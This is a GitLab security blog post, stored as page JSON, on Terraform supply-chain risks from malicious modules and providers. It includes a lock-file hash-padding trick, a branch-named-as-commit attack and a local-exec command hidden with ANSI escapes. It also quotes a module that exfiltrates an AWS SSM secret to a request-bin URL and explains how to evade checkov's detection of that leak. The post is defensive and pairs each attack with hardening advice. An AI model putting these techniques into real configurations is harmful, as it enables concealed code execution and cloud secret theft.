[{"data":1,"prerenderedAt":718},["ShallowReactive",2],{"/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers/":3,"navigation-en-us":34,"banner-en-us":463,"footer-en-us":480,"Joern Schneeweisz":690,"next-steps-en-us":703},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":16,"config":24,"_id":27,"_type":28,"title":29,"_source":30,"_file":31,"_stem":32,"_extension":33},"/en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers","blog",false,"",{"title":9,"description":10,"ogTitle":9,"ogDescription":10,"noIndex":6,"ogImage":11,"ogUrl":12,"ogSiteName":13,"ogType":14,"canonicalUrls":12,"schema":15},"Terraform in the software supply chain: Modules & providers","We examine the supply chain aspects of Terraform, starting with a closer look at malicious Terraform modules and providers and how you can better secure them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682329/Blog/Hero%20Images/pexels-mateusz-dach-353641.jpg","https://about.gitlab.com/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Terraform as part of the software supply chain, Part 1 - Modules and Providers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2022-06-01\",\n      }",{"title":17,"description":10,"authors":18,"heroImage":11,"date":20,"body":21,"category":22,"tags":23},"Terraform as part of the software supply chain, Part 1 - Modules and Providers",[19],"Joern Schneeweisz","2022-06-01","\n\n## What is Terraform?\n\nTerraform is an infrastructure as code (IaC) solution that helps businesses grow their infrastructure securely and at scale, while managing everything in it from multiple servers to multiple clouds. Terraform lets you build your complete infrastructure as code.\n\nTerraform, which was created by HashiCorp, is an open-source, public-cloud-provisioning tool written in the Go language. Although Terraform serves many functions, its primary use is to help DevOps teams automate various infrastructure management tasks and helps you manage all of your servers and resources, even if they come from different providers (unlike some other IaC competitors). Terraforms connects all of your infrastructures and helps you manage it. \n\nTerraform supports many providers like [AWS](/blog/deploy-aws/), Google Cloud Platform, Azure, and others via APIs provided by the cloud service providers.\n\n## What are the benefits of using Terraform providers?\n\nThe biggest benefit of using a Terraform cloud provider is the versatility that it provides to DevOps teams. Regardless of which provider you use, Terraform lets you easily manage all of your resources no matter where you’re located and how many servers you have at your disposal. \n\nThe other major advantage to using Terraform is automation. On any given DevOps team today, there are far too many functions that need to happen repeatedly and simultaneously. The only way to be able to efficiently manage all that needs to be done is to automate a lot of your processes. \n\nTerraform helps you automate all of your server management tasks. Everything is done in code, and it eliminates a lot of manual work. The ability to create scripts that run your task actions and reuse them makes life a lot easier for DevOps teams. \n\nFinally, unlike other IaC providers, Terraform doesn’t require any agent software to be installed on the managed infrastructure, making it more user-friendly than those competitors that require agent-based software for IaC installation.\n\n## Terraform Security\n\nWhen talking about Terraform security, there are many resources covering the security aspects of the infrastructure surrounding certain Terraform configurations. Looking at the security of Terraform itself and the things which could go wrong when running it, however, have very little coverage so far.\n\nSome previously published work I'm aware of includes:\n\n- A [blogpost covering malicious Terraform modules](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/) by [xssfox](https://sprocketfox.io/xssfox/about/) had already been published when I started digging into the topic. The main attack vector in this case is a malicious Terraform module which exfiltrates an AWS System Manager-stored secret via HTTP towards an attacker-controlled host.\n\n- The folks at [bridgecrew](https://bridgecrew.io/) reacted to the above xssfox post with some [static detection rules](https://github.com/bridgecrewio/checkov/blob/63d36e5ba309e9c03ef99a13f264ba256d756d8d/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) for their tool `checkov` and a [blogpost looking at the supply chain aspects of Terraform](https://bridgecrew.io/blog/terraform-supply-chain-security-risks-prevent-them-with-checkov/).\n\n- Also worth mentioning is, of course, [Hashicorp's stance on malicious Terraform modules and providers](https://www.terraform.io/cloud-docs/architectural-details/security-model#malicious-terraform-providers-or-modules):\n\n> **\"Terraform providers and modules used in your Terraform configuration will have full access to the variables and Terraform state within a workspace. Terraform Cloud cannot prevent malicious providers and modules from exfiltrating this sensitive data. We recommend only using trusted modules and providers within your Terraform configuration.\"**\n\nThe blog post you're reading is part one of a three-part series examining the supply chain aspects of Terraform and aims to look at malicious Terraform modules and providers. I'll also give recommendations on securing the process of running Terraform against modules and providers gone rogue. The next two blogs in the series will build upon these findings and cover more in-depth topics and vulnerabilities.\n\n## Provider security\nProviders in Terraform are executable binaries, so if a provider turns malicious it's certainly \"game over\" in the sense that it can do whatever the host OS it runs on allows. Providers need to have a signature which gets validated by Terraform upon installation of the Provider. Version `0.14` Terraform creates a [dependency lock file](https://www.terraform.io/language/files/dependency-lock) which records checksums of the used providers in two different formats.\n\n### zh and h1 checksums\nThe first format, `zh`, is simply a SHA256 hash of the `zip` file which contains a provider for a specific OS/hardware platform combination. The `h1` hash is a so-called \"[dirhash](https://pkg.go.dev/golang.org/x/mod/sumdb/dirhash)\" of the provider's directory. \n\nSo if we look at the following lock file `.terraform.lock.hcl` we can observe the two different types of hashes:  \n\n```hcl\n# This file is maintained automatically by \"terraform init\".  \n# Manual edits may be lost in future updates.  \n  \nprovider \"registry.terraform.io/hashicorp/aws\" {  \n version = \"4.11.0\"  \n hashes = [  \n   \"h1:JTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\",  \n   \"zh:3e4634f4babcef402160ffb97f9f37e3e781313ceb7b7858fe4b7fc0e2e33e99\",  \n   \"zh:3ff647aa88e71419480e3f51a4b40e3b0e2d66482bea97c0b4e75f37aa5ad1f1\",  \n   \"zh:4680d16fbb85663034dc3677b402e9e78ab1d4040dd80603052817a96ec08911\",  \n   \"zh:5190d03f43f7ad56dae0a7f0441a0f5b2590f42f6e07a724fe11dd50c42a12e4\",  \n   \"zh:622426fcdbb927e7c198fe4b890a01a5aa312e462cd82ae1e302186eeac1d071\",  \n   \"zh:9b12af85486a96aedd8d7984b0ff811a4b42e3d88dad1a3fb4c0b580d04fa425\",  \n   \"zh:b0b766a835c79f8dd58b93d25df8f37749f33cca2297ac088d402d718baddd9c\",  \n   \"zh:b293cf26a02992b2167ed3f63711dc01221c4a5e2984b6c7c0c04a6155ab0526\",  \n   \"zh:ca8e1f5c58fc838edb5fe7528aec3f2fcbaeabf808add0f401aee5073b61f17f\",  \n   \"zh:e0d2ad2767c0134841d52394d180f8f3315c238949c8d11be39a214630e8d50e\",  \n   \"zh:ece0d11c35a8537b662287e00af4d27a27eb9558353b133674af90ec11c818d3\",  \n   \"zh:f7e1cd07ae883d3be01942dc2b0d516b9736a74e6037287ab19f616725c8f7e8\",  \n ]  \n}\n```\n\nThe `zh` entries can also be found in the [provider's v.4.11.0 release](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/) within the [SHA256SUMS](https://github.com/hashicorp/terraform-provider-aws/releases/download/v4.11.0/terraform-provider-aws_4.11.0_SHA256SUMS) file. To understand the single `h1` dirhash entry we need to have a look at the provider's directory. \n\nIn our Terraform project it is constructed like this:  \n\n```\n$ ls .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/                                     \nterraform-provider-aws_v4.11.0_x5\n$ cd .terraform/providers/registry.terraform.io/hashicorp/aws/4.11.0/linux_amd64/\n$ sha256sum terraform-provider-aws_v4.11.0_x5\n34c03613d15861d492c2d826c251580c58de232be6e50066cb0a0bb8c87b48de  terraform-provider-aws_v4.11.0_x5\n$ sha256sum terraform-provider-aws_v4.11.0_x5 > /tmp/dirhash\n$ sha256sum /tmp/dirhash    \n253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1  /tmp/dirhash\n$ echo 253806504555baebfcd97d1e3e30ccef77fe64cf8d7cbc1bfc618d00e33409d1 | ruby -rbase64 -e 'puts Base64.encode64 [STDIN.read.chomp].pack(\"H*\")'  \nJTgGUEVVuuv82X0ePjDM73f+ZM+NfLwb/GGNAOM0CdE=\n```\n\nThe `dirhash`, called `h1` in the lock file, is created from an alphabetical list of `sha256sum filename`. Once this list is `sha256sum` ed again, the resulting hash is taken in binary representation and then converted to Base64.\n\nFrom an attacker's perspective, the interesting part about the lock file is that it can contain multiple `zh` and `h1` hashes per provider. It is also noteworthy that those two types don't have to have any relationship. If we modify a downloaded provider's content on disk, we can simply place the corresponding `h1` hash next to any other `h1` in the lock file. As there can be multiple entries we would not break any legitimate installation and just allow-list a modified provider directory on-disk on top of what's already allowed.\n\n**Lessons learned here**\n\n1. Put your `.terraform.lock.hcl` under version control (Terraform even suggests this on the command line when it generates the file).\n2. Verify and double-check any modifications and additions to the `.terraform.lock.hcl` file; this is crucial to detect any tampering with the providers in use.\n\n> You’re invited! Join us on June 23rd for the [GitLab 15 launch event](https://page.gitlab.com/fifteen) with DevOps guru Gene Kim and several GitLab leaders. They’ll show you what they see for the future of DevOps and The One DevOps Platform.\n\n## Module security\n\nModules don't have any form of signature, and can be downloaded from different [module sources](https://www.terraform.io/language/modules/sources#module-sources). By default what happens when you instruct Terraform to download a module is that the [public Terraform Registry](https://www.terraform.io/language/modules/sources#terraform-registry) will redirect the Terraform client to download a Git tag from a public GitHub repository. The problem here is that Git tags on GitHub are mutable. They can simply be replaced with completely different content by e.g. a force-push of new content under the same tag to GitHub.\n\nSo having a module referenced like:  \n\n```hcl\nmodule \"hello\" {\n  source  = \"joernchen/hello/test\"\n  version = \"0.0.1\"\n}\n```\n\nwould download the [Git tag `v0.0.1`](https://github.com/joernchen/terraform-test-hello/releases/tag/v0.0.1) from my GitHub repository but there's no guarantee about the content. \n\nAt this point, the most common recommendation is [to specify a git ref](https://www.terraform.io/language/modules/sources#selecting-a-revision) pointing to a full commit SHA. This approach isn't perfect either in the non-default case. Depending on the module source, we can utilize the fact that we're able to name a branch just like a commit hash. GitLab and GitHub won't allow you to create such branches, or to push branches that look like commit hashes. However, other module sources might allow this. An actual attack using this vector would look like what we see below.  \n\nFirst we look at a legitimate clone referencing a git commit:  \n\n```\n$ cat main.tf \nmodule \"immutable_module\"{\n  source = \"git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758\"\n}\n$ terraform init                                                                    \nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n\nInitializing the backend...\n\nInitializing provider plugins...\n- Finding latest version of hashicorp/http...\n- Installing hashicorp/http v2.1.0...\n- Installed hashicorp/http v2.1.0 (signed by HashiCorp)\n\nTerraform has created a lock file .terraform.lock.hcl to record the provider\nselections it made above. Include this file in your version control repository\nso that Terraform can guarantee to make the same selections by default when\nyou run \"terraform init\" in the future.\n\nTerraform has been successfully initialized!\n\nYou may now begin working with Terraform. Try running \"terraform plan\" to see\nany changes that are required for your infrastructure. All Terraform commands\nshould now work.\n\nIf you ever set or change modules or backend configuration for Terraform,\nrerun this command to reinitialize your working directory. If you forget, other\ncommands will detect it and remind you to do so if necessary.\n$ ls -al .terraform/modules/immutable_module\ntotal 20\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 .\ndrwxr-xr-x 3 joern joern 4096  9. Mai 09:53 ..\ndrwxr-xr-x 8 joern joern 4096  9. Mai 09:53 .git\n-rw-r--r-- 1 joern joern  159  9. Mai 09:53 main.tf\n-rw-r--r-- 1 joern joern   22  9. Mai 09:53 README.md\n```\n\nThen we prepare our repository to have a branch with the same name as the previously used commit:  \n\n```\n$ git checkout -b e23c0dcbb43ca19ea9ca91c879aafcc66c990758\nSwitched to a new branch 'e23c0dcbb43ca19ea9ca91c879aafcc66c990758'\n$ echo \"a malicious file\">malicious.tf\n$ git add malicious.tf \n$ git commit -m \"a malicious commit\"\n[e23c0dcbb43ca19ea9ca91c879aafcc66c990758 51de72e] a malicious commit\n 1 file changed, 1 insertion(+)\n create mode 100644 malicious.tf\n```\nWhen we initialize the project again we'll pull the malicious branch instead of the referenced commit:\n\n``` \n$ rm -rf .terraform         \n$ terraform init\nInitializing modules...\nDownloading git::http://localhost:8080/.git?ref=e23c0dcbb43ca19ea9ca91c879aafcc66c990758 for immutable_module...\n- immutable_module in .terraform/modules/immutable_module\n╷\n│ Error: Invalid block definition\n│ \n│ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n\n╷\n│ Error: Invalid block definition\n│ \n│ On .terraform/modules/immutable_module/malicious.tf line 1: A block definition must have block content delimited by \"{\" and \"}\", starting on the\n│ same line as the block header.\n╵\n```\n\n**Lesson learned here** \n\nSeemingly immutable git refs really aren't that immutable after all. This means we cannot trust modules hosted in arbitrary locations and simply rely on their git ref to be pinned. Instead, we must have control over the hosted location such that manipulation of the repository can be prevented.\n\n### Impact of malicious modules\n\nWhat could a malicious module do?\n\nReading the documentation, there are some useful primitives already built in. The most \"powerful\" primitive, if we want to mess with the Terraform run itself, might be [`local-exec`](https://www.terraform.io/language/resources/provisioners/local-exec) which will let us run local commands on the machine running the Terraform process.\n\nTerraform, however, will be verbose about this and tell the user what it just executed:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec.png){: .shadow.medium.center}\nTerraform local-exec\n{: .note.text-center}\n\n\nWe can cheat here a little as most terminals support so-called [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) which allow one to meddle to a certain extent with the terminal output.\n\nThe following variant of our `main.tf` file in the screenshot above will disguise the output traces of `local-exec` in the terminal:  \n\n```hcl\nresource \"null_resource\" \"lol\" {  \n  \n provisioner \"local-exec\" {  \n   command = \"id > haxx ;echo -e '\\\\033[0K \\\\033[1K \\\\033[1A \\\\033[0K \\\\033[1K \\\\033[2A'\"  \n }  \n}\n```\n\nThe screenshot below shows that our traces of using `local-exec` are no longer visible in the shell output:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/local-exec-ansi.png){: .shadow.medium.center}\nLocal exec is no longer visible in the shell output\n{: .note.text-center}\n\nAnother attack vector was outlined [in xssfox's post](https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/):  \n\n```hcl\nterraform {\n  required_providers {\n    aws = {\n      source  = \"hashicorp/aws\"\n    }\n    http = {}\n  }\n}\n\nresource \"aws_ssm_parameter\" \"param\" {\n  name  = var.parameter_name\n  type  = \"SecureString\"\n  value = random_password.password.result\n}\n\nresource \"random_password\" \"password\" {\n  length           = 16\n  special          = true\n  override_special = \"_%@\"\n}\n\n## !!! Our evil way to leak data !!!\ndata \"http\" \"leak\" {\n    url = \"https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}\"\n}\n```\n\nHere, the to-be-kept-secret parameter `aws_ssm_parameter` is leaked via the `http` data source. We can detect such a leak with [`checkov`](https://www.checkov.io/). Running `checkov` to check the above terraform code will warn us with a failed check:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov1.png){: .shadow.medium.center}\nFailed check\n{: .note.text-center}\n\nThis check can be bypassed quite easily by simply wrapping the leaked parameters in `base64encode`:\n\n![file name](https://about.gitlab.com/images/blogimages/terraform-sc-series/checkov2.png){: .shadow.medium.center}\nBypassing the failed check\n{: .note.text-center}\n\n\n**Lesson learned here**\n\nThe main takeaway is that malicious modules can be a quite powerful attack primitive and there are many different ways to compromise a Terraform run with a malicious module, such that even automated checks might fail.\n\n### Closing thoughts and what's next\n\nThis first blog covered the basics of malicious modules and providers in Terraform. As a bottom line I'd like to emphasize the fragility of running Terraform in cases where third-party modules and providers are being used. To harden your Terraform process against malicious modules you should be in control of the included module's and provider's content at all times. For providers, you can rely on the signatures as long as they've not been messed with. For modules, it is recommended to host them in a controlled environment.\n\nOur next blog in this series will cover some vulnerabilities in Terraform itself. In our third and final post we'll take a closer look at CI/CD related aspects of Terraform. Until next time!\n\nCover image by [Mateusz Dach](https://www.pexels.com/@mateusz-dach-99805/) on [Pexels](https://www.pexels.com/photo/brown-wooden-dominoes-353641/).\n{: .note}\n","security",[22],{"slug":25,"featured":6,"template":26},"terraform-as-part-of-software-supply-chain-part1-modules-and-providers","BlogPost","content:en-us:blog:terraform-as-part-of-software-supply-chain-part1-modules-and-providers.yml","yaml","Terraform As Part Of Software Supply Chain Part1 Modules And Providers","content","en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers.yml","en-us/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers","yml",{"_path":35,"_dir":36,"_draft":6,"_partial":6,"_locale":7,"data":37,"_id":459,"_type":28,"title":460,"_source":30,"_file":461,"_stem":462,"_extension":33},"/shared/en-us/main-navigation","en-us",{"logo":38,"freeTrial":43,"sales":48,"login":53,"items":58,"search":390,"minimal":421,"duo":440,"pricingDeployment":449},{"config":39},{"href":40,"dataGaName":41,"dataGaLocation":42},"/","gitlab logo","header",{"text":44,"config":45},"Get free trial",{"href":46,"dataGaName":47,"dataGaLocation":42},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":49,"config":50},"Talk to sales",{"href":51,"dataGaName":52,"dataGaLocation":42},"/sales/","sales",{"text":54,"config":55},"Sign in",{"href":56,"dataGaName":57,"dataGaLocation":42},"https://gitlab.com/users/sign_in/","sign in",[59,103,201,206,311,371],{"text":60,"config":61,"cards":63,"footer":86},"Platform",{"dataNavLevelOne":62},"platform",[64,70,78],{"title":60,"description":65,"link":66},"The most comprehensive AI-powered DevSecOps Platform",{"text":67,"config":68},"Explore our Platform",{"href":69,"dataGaName":62,"dataGaLocation":42},"/platform/",{"title":71,"description":72,"link":73},"GitLab Duo (AI)","Build software faster with AI at every stage of development",{"text":74,"config":75},"Meet GitLab Duo",{"href":76,"dataGaName":77,"dataGaLocation":42},"/gitlab-duo/","gitlab duo ai",{"title":79,"description":80,"link":81},"Why GitLab","10 reasons why Enterprises choose GitLab",{"text":82,"config":83},"Learn more",{"href":84,"dataGaName":85,"dataGaLocation":42},"/why-gitlab/","why gitlab",{"title":87,"items":88},"Get started with",[89,94,99],{"text":90,"config":91},"Platform Engineering",{"href":92,"dataGaName":93,"dataGaLocation":42},"/solutions/platform-engineering/","platform engineering",{"text":95,"config":96},"Developer Experience",{"href":97,"dataGaName":98,"dataGaLocation":42},"/developer-experience/","Developer experience",{"text":100,"config":101},"MLOps",{"href":102,"dataGaName":100,"dataGaLocation":42},"/topics/devops/the-role-of-ai-in-devops/",{"text":104,"left":105,"config":106,"link":108,"lists":112,"footer":183},"Product",true,{"dataNavLevelOne":107},"solutions",{"text":109,"config":110},"View all Solutions",{"href":111,"dataGaName":107,"dataGaLocation":42},"/solutions/",[113,138,162],{"title":114,"description":115,"link":116,"items":121},"Automation","CI/CD and automation to accelerate deployment",{"config":117},{"icon":118,"href":119,"dataGaName":120,"dataGaLocation":42},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[122,126,130,134],{"text":123,"config":124},"CI/CD",{"href":125,"dataGaLocation":42,"dataGaName":123},"/solutions/continuous-integration/",{"text":127,"config":128},"AI-Assisted Development",{"href":76,"dataGaLocation":42,"dataGaName":129},"AI assisted development",{"text":131,"config":132},"Source Code Management",{"href":133,"dataGaLocation":42,"dataGaName":131},"/solutions/source-code-management/",{"text":135,"config":136},"Automated Software Delivery",{"href":119,"dataGaLocation":42,"dataGaName":137},"Automated software delivery",{"title":139,"description":140,"link":141,"items":146},"Security","Deliver code faster without compromising security",{"config":142},{"href":143,"dataGaName":144,"dataGaLocation":42,"icon":145},"/solutions/security-compliance/","security and compliance","ShieldCheckLight",[147,152,157],{"text":148,"config":149},"Application Security Testing",{"href":150,"dataGaName":151,"dataGaLocation":42},"/solutions/application-security-testing/","Application security testing",{"text":153,"config":154},"Software Supply Chain Security",{"href":155,"dataGaLocation":42,"dataGaName":156},"/solutions/supply-chain/","Software supply chain security",{"text":158,"config":159},"Software Compliance",{"href":160,"dataGaName":161,"dataGaLocation":42},"/solutions/software-compliance/","software compliance",{"title":163,"link":164,"items":169},"Measurement",{"config":165},{"icon":166,"href":167,"dataGaName":168,"dataGaLocation":42},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[170,174,178],{"text":171,"config":172},"Visibility & Measurement",{"href":167,"dataGaLocation":42,"dataGaName":173},"Visibility and Measurement",{"text":175,"config":176},"Value Stream Management",{"href":177,"dataGaLocation":42,"dataGaName":175},"/solutions/value-stream-management/",{"text":179,"config":180},"Analytics & Insights",{"href":181,"dataGaLocation":42,"dataGaName":182},"/solutions/analytics-and-insights/","Analytics and insights",{"title":184,"items":185},"GitLab for",[186,191,196],{"text":187,"config":188},"Enterprise",{"href":189,"dataGaLocation":42,"dataGaName":190},"/enterprise/","enterprise",{"text":192,"config":193},"Small Business",{"href":194,"dataGaLocation":42,"dataGaName":195},"/small-business/","small business",{"text":197,"config":198},"Public Sector",{"href":199,"dataGaLocation":42,"dataGaName":200},"/solutions/public-sector/","public sector",{"text":202,"config":203},"Pricing",{"href":204,"dataGaName":205,"dataGaLocation":42,"dataNavLevelOne":205},"/pricing/","pricing",{"text":207,"config":208,"link":210,"lists":214,"feature":298},"Resources",{"dataNavLevelOne":209},"resources",{"text":211,"config":212},"View all resources",{"href":213,"dataGaName":209,"dataGaLocation":42},"/resources/",[215,248,270],{"title":216,"items":217},"Getting started",[218,223,228,233,238,243],{"text":219,"config":220},"Install",{"href":221,"dataGaName":222,"dataGaLocation":42},"/install/","install",{"text":224,"config":225},"Quick start guides",{"href":226,"dataGaName":227,"dataGaLocation":42},"/get-started/","quick setup checklists",{"text":229,"config":230},"Learn",{"href":231,"dataGaLocation":42,"dataGaName":232},"https://university.gitlab.com/","learn",{"text":234,"config":235},"Product documentation",{"href":236,"dataGaName":237,"dataGaLocation":42},"https://docs.gitlab.com/","product documentation",{"text":239,"config":240},"Best practice videos",{"href":241,"dataGaName":242,"dataGaLocation":42},"/getting-started-videos/","best practice videos",{"text":244,"config":245},"Integrations",{"href":246,"dataGaName":247,"dataGaLocation":42},"/integrations/","integrations",{"title":249,"items":250},"Discover",[251,256,260,265],{"text":252,"config":253},"Customer success stories",{"href":254,"dataGaName":255,"dataGaLocation":42},"/customers/","customer success stories",{"text":257,"config":258},"Blog",{"href":259,"dataGaName":5,"dataGaLocation":42},"/blog/",{"text":261,"config":262},"Remote",{"href":263,"dataGaName":264,"dataGaLocation":42},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":266,"config":267},"TeamOps",{"href":268,"dataGaName":269,"dataGaLocation":42},"/teamops/","teamops",{"title":271,"items":272},"Connect",[273,278,283,288,293],{"text":274,"config":275},"GitLab Services",{"href":276,"dataGaName":277,"dataGaLocation":42},"/services/","services",{"text":279,"config":280},"Community",{"href":281,"dataGaName":282,"dataGaLocation":42},"/community/","community",{"text":284,"config":285},"Forum",{"href":286,"dataGaName":287,"dataGaLocation":42},"https://forum.gitlab.com/","forum",{"text":289,"config":290},"Events",{"href":291,"dataGaName":292,"dataGaLocation":42},"/events/","events",{"text":294,"config":295},"Partners",{"href":296,"dataGaName":297,"dataGaLocation":42},"/partners/","partners",{"backgroundColor":299,"textColor":300,"text":301,"image":302,"link":306},"#2f2a6b","#fff","Insights for the future of software development",{"altText":303,"config":304},"the source promo card",{"src":305},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":307,"config":308},"Read the latest",{"href":309,"dataGaName":310,"dataGaLocation":42},"/the-source/","the source",{"text":312,"config":313,"lists":315},"Company",{"dataNavLevelOne":314},"company",[316],{"items":317},[318,323,329,331,336,341,346,351,356,361,366],{"text":319,"config":320},"About",{"href":321,"dataGaName":322,"dataGaLocation":42},"/company/","about",{"text":324,"config":325,"footerGa":328},"Jobs",{"href":326,"dataGaName":327,"dataGaLocation":42},"/jobs/","jobs",{"dataGaName":327},{"text":289,"config":330},{"href":291,"dataGaName":292,"dataGaLocation":42},{"text":332,"config":333},"Leadership",{"href":334,"dataGaName":335,"dataGaLocation":42},"/company/team/e-group/","leadership",{"text":337,"config":338},"Team",{"href":339,"dataGaName":340,"dataGaLocation":42},"/company/team/","team",{"text":342,"config":343},"Handbook",{"href":344,"dataGaName":345,"dataGaLocation":42},"https://handbook.gitlab.com/","handbook",{"text":347,"config":348},"Investor relations",{"href":349,"dataGaName":350,"dataGaLocation":42},"https://ir.gitlab.com/","investor relations",{"text":352,"config":353},"Trust Center",{"href":354,"dataGaName":355,"dataGaLocation":42},"/security/","trust center",{"text":357,"config":358},"AI Transparency Center",{"href":359,"dataGaName":360,"dataGaLocation":42},"/ai-transparency-center/","ai transparency center",{"text":362,"config":363},"Newsletter",{"href":364,"dataGaName":365,"dataGaLocation":42},"/company/contact/","newsletter",{"text":367,"config":368},"Press",{"href":369,"dataGaName":370,"dataGaLocation":42},"/press/","press",{"text":372,"config":373,"lists":374},"Contact us",{"dataNavLevelOne":314},[375],{"items":376},[377,380,385],{"text":49,"config":378},{"href":51,"dataGaName":379,"dataGaLocation":42},"talk to sales",{"text":381,"config":382},"Get help",{"href":383,"dataGaName":384,"dataGaLocation":42},"/support/","get help",{"text":386,"config":387},"Customer portal",{"href":388,"dataGaName":389,"dataGaLocation":42},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":391,"login":392,"suggestions":399},"Close",{"text":393,"link":394},"To search repositories and projects, login to",{"text":395,"config":396},"gitlab.com",{"href":56,"dataGaName":397,"dataGaLocation":398},"search login","search",{"text":400,"default":401},"Suggestions",[402,404,408,410,414,418],{"text":71,"config":403},{"href":76,"dataGaName":71,"dataGaLocation":398},{"text":405,"config":406},"Code Suggestions (AI)",{"href":407,"dataGaName":405,"dataGaLocation":398},"/solutions/code-suggestions/",{"text":123,"config":409},{"href":125,"dataGaName":123,"dataGaLocation":398},{"text":411,"config":412},"GitLab on AWS",{"href":413,"dataGaName":411,"dataGaLocation":398},"/partners/technology-partners/aws/",{"text":415,"config":416},"GitLab on Google Cloud",{"href":417,"dataGaName":415,"dataGaLocation":398},"/partners/technology-partners/google-cloud-platform/",{"text":419,"config":420},"Why GitLab?",{"href":84,"dataGaName":419,"dataGaLocation":398},{"freeTrial":422,"mobileIcon":427,"desktopIcon":432,"secondaryButton":435},{"text":423,"config":424},"Start free trial",{"href":425,"dataGaName":47,"dataGaLocation":426},"https://gitlab.com/-/trials/new/","nav",{"altText":428,"config":429},"Gitlab Icon",{"src":430,"dataGaName":431,"dataGaLocation":426},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":428,"config":433},{"src":434,"dataGaName":431,"dataGaLocation":426},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":436,"config":437},"Get Started",{"href":438,"dataGaName":439,"dataGaLocation":426},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/compare/gitlab-vs-github/","get started",{"freeTrial":441,"mobileIcon":445,"desktopIcon":447},{"text":442,"config":443},"Learn more about GitLab Duo",{"href":76,"dataGaName":444,"dataGaLocation":426},"gitlab duo",{"altText":428,"config":446},{"src":430,"dataGaName":431,"dataGaLocation":426},{"altText":428,"config":448},{"src":434,"dataGaName":431,"dataGaLocation":426},{"freeTrial":450,"mobileIcon":455,"desktopIcon":457},{"text":451,"config":452},"Back to pricing",{"href":204,"dataGaName":453,"dataGaLocation":426,"icon":454},"back to pricing","GoBack",{"altText":428,"config":456},{"src":430,"dataGaName":431,"dataGaLocation":426},{"altText":428,"config":458},{"src":434,"dataGaName":431,"dataGaLocation":426},"content:shared:en-us:main-navigation.yml","Main Navigation","shared/en-us/main-navigation.yml","shared/en-us/main-navigation",{"_path":464,"_dir":36,"_draft":6,"_partial":6,"_locale":7,"title":465,"button":466,"image":471,"config":475,"_id":477,"_type":28,"_source":30,"_file":478,"_stem":479,"_extension":33},"/shared/en-us/banner","is now in public beta!",{"text":467,"config":468},"Try the Beta",{"href":469,"dataGaName":470,"dataGaLocation":42},"/gitlab-duo/agent-platform/","duo banner",{"altText":472,"config":473},"GitLab Duo Agent Platform",{"src":474},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1753720689/somrf9zaunk0xlt7ne4x.svg",{"layout":476},"release","content:shared:en-us:banner.yml","shared/en-us/banner.yml","shared/en-us/banner",{"_path":481,"_dir":36,"_draft":6,"_partial":6,"_locale":7,"data":482,"_id":686,"_type":28,"title":687,"_source":30,"_file":688,"_stem":689,"_extension":33},"/shared/en-us/main-footer",{"text":483,"source":484,"edit":490,"contribute":495,"config":500,"items":505,"minimal":678},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":485,"config":486},"View page source",{"href":487,"dataGaName":488,"dataGaLocation":489},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":491,"config":492},"Edit this page",{"href":493,"dataGaName":494,"dataGaLocation":489},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":496,"config":497},"Please contribute",{"href":498,"dataGaName":499,"dataGaLocation":489},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":501,"facebook":502,"youtube":503,"linkedin":504},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[506,529,585,614,648],{"title":60,"links":507,"subMenu":512},[508],{"text":509,"config":510},"DevSecOps platform",{"href":69,"dataGaName":511,"dataGaLocation":489},"devsecops 